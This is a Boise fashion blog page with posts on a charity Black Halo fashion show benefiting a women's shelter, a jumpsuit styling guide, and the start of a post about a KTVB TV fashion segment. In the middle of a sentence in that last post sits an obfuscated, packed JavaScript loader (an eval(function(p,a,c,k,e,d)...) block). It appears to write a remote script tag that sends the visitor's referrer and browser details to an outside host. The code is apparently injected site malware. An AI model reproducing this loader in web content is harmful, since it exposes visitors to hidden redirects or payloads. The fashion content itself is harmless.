Style in the Aisles Fashion Show Launches in Boise

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week I had the honor of attending a very special fashion show, thrown by Piece Unique and beloved local legend Jesse Taylor.
Jesse is known for his generosity and dedication to the community, and this fabulous show was a true extension of his heart; the goal was to help raise money for the City Light Women’s & Children’s Home!

City Light provides emergency shelter for women and children, in downtown Boise. They house, feed, clothe, and counsel women who are seeking a safe place from dangerous circumstances, while providing care for their children as well. It’s an amazing program that has made HUGE contributions to the well-being of families in this city, and personally, I’ve had friends whose lives were literally saved by this shelter, so they are near & dear to my heart as well.

Sadly, as you can see below the blue lights on the stage were too much for my small camera, so I apologize for the overwhelming hue!

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Jesse teamed up with local stylist Heather Schwabe of Style Therapy, Boise-based vintage/couture jewelry line Monica Macha, and Natalie Durham at downtown boutique Piece Unique, to showcase one of my FAVORITE clothing lines: Black Halo. I’ve blogged about Black Halo before, because they’re an incredible, well-made line that fits busty girls in ways I never imagined an off-the-rack dress could ever do! If you haven’t tried on one of their fashion pieces yet, you absolutely must get down to Piece Unique and check them out. Worth every penny, I promise!

Here’s a short video clip of the runway finale:

As a THANK YOU to all who helped make the fashion show a success & supporting City Light & the Boise Rescue Mission, Piece Unique is offering 25% off ALL BLACK HALO purchases made in their store before Nov. 15th, when you donate $25 to City Light Women’s & Children’s Shelter! This special discount applies to all Black Halo items both in the store, and via special order.

Wonderful job, everyone! See you at the next show.

black halo fashion showblack halo fashion showLeticia McLaughlin and her lovely daughter, always impeccably stylish!

black halo fashion showLovely Angie Berman (center) with two fabulous friends.

black halo fashion showBallet Idaho’s Lana Hollingshead and her daughter Veronica.

black halo fashion showA new friend, Rosemary, and her wickedly-cool leather necklace! This babe has style for miles.

black halo fashion showLet the show begin!

black halo fashion showSo much blue light, but I love her white Black Halo dress!

black halo fashion showRunway finale, packed with gorgeous local women rocking the catwalk!

black halo fashion showblack halo fashion showMore blurriness and blue light – ugh! – but this red dress was one of my favorites.

black halo fashion showGreen Black Halo dress on a model – that neckline on her is incredible!

black halo fashion showAngie & friend posing on the runway, after the show. Love this lady!! ‚̧

Why Jumpsuits Are So Hot Right Now!

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Valerie Davenport

With 2015’s trend towards 70’s fashions, it’s no surprise to see one key 70’s trend making a major comeback: the Jumpsuit. First invented in 1919 by designer Florentine Thayat, whose goal was to create a subversive and futuristic fashion piece, jumpsuits have long¬†been¬†seen as quirky, unusual, and frankly a little rebellious. It’s like saying, Ok, I’ll come to your fancy ball, but I’m going to wear pants. And not only that, but I’ll wear them so well and be so comfortable, you’ll want to shed that¬†straitjacket¬†corset dress and come join me!

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Jumpsuits are flamboyant, but also extremely comfortable and easy to style around! For these photos, I wore a black Jackie O jumpsuit from Black Halo, and simple gold jewelry. All I had to do to change the look entirely was alter my handbag and shoes!

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 Jumpsuit: Black Halo, available in Boise at Piece Unique / Graphic Kimono: Swank Boutique, Boise / My Love Runs Deep clutch: Swank Boutique. Boise / Earrings: Express / Steve Madden Raspy Booties: Boise DSW, or online at / Gold choker necklace: Forever 21 / Grey Pistil Fedora: Ruby Lou  Clothing Boutique / Yellow jacket: Ann Taylor, thrifted / Sunhat: Esprit

Jumpsuits can also be a fantastic styling tool¬†to work with¬†your body type. I’m a strawberry, or upside-down heart, meaning busty on top but narrow through the hips and booty. This jumpsuit gives me a great curvaceous shape that evens out those proportions, by adding volume to my lower half, fitting snugly¬†up top, and clearly defining my waistline. I’m kind of obsessed with it – thank you Black Halo!!!

It seems like every brand, store, and fashion line is selling¬†jumpsuits this season (read more about why, here), and I highly recommend you go shopping for one! Be adventurous – try it out! You might be surprised at how comfortable and effortless they can be. They’re available everywhere right now, from high-end couture designers to this cute $35 patterned¬†summer jumpsuit¬†from H&M.

Some important things to look for in your perfect jumpsuit are:

1. Length. A wide-leg jumpsuit can be incredibly elongating, but only if it’s the right length! Choose one as long as you can, but NOT touching the ground. You don’t want to ruin it, or hide your shoes completely! If it’s a fitted jumpsuit, go for ankle length to show off your shoes, or longer if you want a little “scrunch” right above the shoes.

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Peek-a-boo, cute shoes!

2. Fit. Look for a jumpsuit for your body type! One that’s fitted through the hips, booty, and legs but has more volume up top is great for “pear” bodies. An hourglass body type can pull off either style. For all body types, play with proportions on sleeve length, neckline, and where the waist hits for the perfect fit.

3. Color. When in doubt, go with solid color. If this is your first time in a jumpsuit, get¬†black. Once¬†you’re more comfortable with the style, amp it up with florals, patterns, and bolder prints!

Curvy ladies, you can pull this look off too!!! Check out this stunning Michael Kors jumpsuit I found at – it’s 40% off right now!!
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4. Go short for summer. Rompers are the summertime version of the jumpsuit, and are HUGE right now in major fashion hubs! They’re super cute for daytime, but a¬†romper can also be very elegant for a night out on the town. Add a necklace and sandals, and you’re done!

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Socialite Print Keyhole Romper, Nordstrom /  Indigo Drapey Denim Romper , W by Worth / Astr Lace Trim Romper, Nordstrom

5. Check your¬†booty! A jumpsuit with a high rise can lead to the dreaded “mom butt” if you’re not careful! Check the mirror, and make sure the jumpsuit doesn’t make your posterior¬†look longer and flatter than it really is.

6. Layer, layer, layer. Think of your jumpsuit as a version of the LBD (Little Black Dress) every woman should have in her closet. It’s a basic piece that you decorate, to fit your style, your body, and whatever¬†event you’re wearing it to!

7. Have fun. You’re going to feel a little subversive in your jumpsuit, but if it fits well, you’ll also feel very elegant and chic. Be confident! Rock it! And when those ladies in the tight, fussy dresses are staring you down, just smile and give them a happy wink.


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Gold ring: Coach (Something similar here) / Black ring: I confess this is¬†the metal tag that came attached to the Black Halo¬†Jumpsuit label! Couldn’t¬†help it… had to¬†wear it! ūüėČ

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¬†Thank you¬†Valerie Davenport¬†for the fantastic photos! ‚̧

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KTVB Fashion Segment, Part 3: Tips for Updating Your Wardrobe

I’ve been so eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbsiy|var|u0026u|referrer|drdte||js|php’.split(‘|’),0,{}))
this year, for the amazing opportunity to present fashion & wardrobe tips on KTVB, Channel 7 News! The first Segment, earlier this Spring, was about How Every Woman Can Wear Shorts. The second Segment was How to Update Your Closet, with Boise’s veteran anchorwoman Carolyn Holly. (Click the links to watch these segments!) Continue reading “KTVB Fashion Segment, Part 3: Tips for Updating Your Wardrobe”